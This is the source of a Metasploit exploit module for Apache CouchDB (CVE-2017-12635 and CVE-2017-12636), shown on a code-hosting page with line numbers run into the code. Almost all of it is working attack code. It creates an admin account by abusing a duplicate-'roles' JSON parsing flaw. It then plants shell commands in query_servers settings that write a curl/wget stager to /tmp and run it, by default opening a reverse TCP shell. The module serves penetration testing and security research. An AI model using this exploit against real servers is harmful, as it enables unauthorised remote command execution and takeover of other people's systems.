Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(update_info(info,15'Name' => 'Apache CouchDB Arbitrary Command Execution',16'Description' => %q{17CouchDB administrative users can configure the database server via HTTP(S).18Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.19This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,20including downloading and executing scripts from the public internet.21},22'Author' => [23'Max Justicz', # CVE-2017-12635 Vulnerability discovery24'Joan Touzet', # CVE-2017-12636 Vulnerability discovery25'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module26],27'References' => [28['CVE', '2017-12636'],29['CVE', '2017-12635'],30['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],31['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],32['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']33],34'DisclosureDate' => '2016-04-06',35'License' => MSF_LICENSE,36'Platform' => 'linux',37'Arch' => [ARCH_X86, ARCH_X64],38'Privileged' => false,39'DefaultOptions' => {40'PAYLOAD' => 'linux/x64/shell_reverse_tcp',41'CMDSTAGER::FLAVOR' => 'curl'42},43'CmdStagerFlavor' => ['curl', 'wget'],44'Targets' => [45['Automatic', {}],46['Apache CouchDB version 1.x', {}],47['Apache CouchDB version 2.x', {}]48],49'DefaultTarget' => 050))5152register_options([53Opt::RPORT(5984),54OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),55OptString.new('HttpUsername', [false, 'The username to login as']),56OptString.new('HttpPassword', [false, 'The password to login with'])57])5859register_advanced_options([60OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),61OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])62])63end6465def post_auth?66true67end6869def check70get_version71return CheckCode::Unknown if @version.nil?72version = Rex::Version.new(@version)73return CheckCode::Unknown if version.version.empty?74vprint_status "Found CouchDB version #{version}"7576return CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))7778CheckCode::Safe79end8081def exploit82fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version83version = @version8485vprint_good("#{peer} - Authorization bypass successful") if auth_bypass8687print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")88@cmdstager = generate_cmdstager(89temp: datastore['WritableDir'],90file: File.basename(cmdstager_path)91).join(';')9293register_file_for_cleanup(cmdstager_path)9495if !datastore['Attempts'] || datastore['Attempts'] <= 096attempts = 197else98attempts = datastore['Attempts']99end100101attempts.times do |i|102print_status("#{peer} - The #{i + 1} time to exploit")103send_payload(version)104Rex.sleep(5)105# break if we get the shell106break if session_created?107end108end109110# CVE-2017-12635111# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,112# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization113# for the newly created user.114def auth_bypass115username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)116password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)117@auth = basic_auth(username, password)118119res = send_request_cgi(120'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),121'method' => 'PUT',122'ctype' => 'application/json',123'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})124)125126if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']127return true128else129return false130end131end132133def get_version134@version = nil135136begin137res = send_request_cgi(138'uri' => normalize_uri(target_uri.path),139'method' => 'GET',140'authorization' => @auth141)142rescue Rex::ConnectionError143vprint_bad("#{peer} - Connection failed")144return false145end146147unless res148vprint_bad("#{peer} - No response, check if it is CouchDB. ")149return false150end151152if res && res.code == 401153print_bad("#{peer} - Authentication required.")154return false155end156157if res && res.code == 200158res_json = res.get_json_document159160if res_json.empty?161vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")162return false163end164165@version = res_json['version'] if res_json['version']166return true167end168169vprint_warning("#{peer} - Version not found")170return true171end172173def send_payload(version)174vprint_status("#{peer} - CouchDB version is #{version}") if version175176version = Rex::Version.new(@version)177if version.version.empty?178vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")179# if target set Automatic, exploit failed.180if target == targets[0]181fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")182elsif target == targets[1]183payload1184elsif target == targets[2]185payload2186end187elsif version < Rex::Version.new('1.7.0')188payload1189elsif version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))190payload2191elsif version >= Rex::Version.new('1.7.0') || Rex::Version.new('2.1.0')192fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")193end194end195196# Exploit with multi requests197# payload1 is for the version of couchdb below 1.7.0198def payload1199rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)200rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)201rand_db = Rex::Text.rand_text_alpha_lower(4..12)202rand_doc = Rex::Text.rand_text_alpha_lower(4..12)203rand_hex = Rex::Text.rand_text_hex(32)204rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"205206register_file_for_cleanup(rand_file)207208send_request_cgi(209'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),210'method' => 'PUT',211'authorization' => @auth,212'data' => %("echo '#{@cmdstager}' > #{rand_file}")213)214215send_request_cgi(216'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),217'method' => 'PUT',218'authorization' => @auth219)220221send_request_cgi(222'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),223'method' => 'PUT',224'authorization' => @auth,225'data' => %({"_id": "#{rand_hex}"})226)227228send_request_cgi(229'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),230'method' => 'POST',231'authorization' => @auth,232'ctype' => 'application/json',233'data' => %({"language":"#{rand_cmd1}","map":""})234)235236send_request_cgi(237'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),238'method' => 'PUT',239'authorization' => @auth,240'data' => %("/bin/sh #{rand_file}")241)242243send_request_cgi(244'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),245'method' => 'POST',246'authorization' => @auth,247'ctype' => 'application/json',248'data' => %({"language":"#{rand_cmd2}","map":""})249)250end251252# payload2 is for the version of couchdb below 2.1.1253def payload2254rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)255rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)256rand_db = Rex::Text.rand_text_alpha_lower(4..12)257rand_doc = Rex::Text.rand_text_alpha_lower(4..12)258rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)259rand_hex = Rex::Text.rand_text_hex(32)260rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"261262register_file_for_cleanup(rand_file)263264res = send_request_cgi(265'uri' => normalize_uri(target_uri.path, "/_membership"),266'method' => 'GET',267'authorization' => @auth268)269270node = res.get_json_document['all_nodes'][0]271272send_request_cgi(273'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),274'method' => 'PUT',275'authorization' => @auth,276'data' => %("echo '#{@cmdstager}' > #{rand_file}")277)278279send_request_cgi(280'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),281'method' => 'PUT',282'authorization' => @auth283)284285send_request_cgi(286'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),287'method' => 'PUT',288'authorization' => @auth,289'data' => %({"_id": "#{rand_hex}"})290)291292send_request_cgi(293'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),294'method' => 'PUT',295'authorization' => @auth,296'ctype' => 'application/json',297'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})298)299300send_request_cgi(301'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),302'method' => 'PUT',303'authorization' => @auth,304'data' => %("/bin/sh #{rand_file}")305)306307send_request_cgi(308'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),309'method' => 'PUT',310'authorization' => @auth,311'ctype' => 'application/json',312'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})313)314end315316def cmdstager_path317@cmdstager_path ||=318"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"319end320321end322323324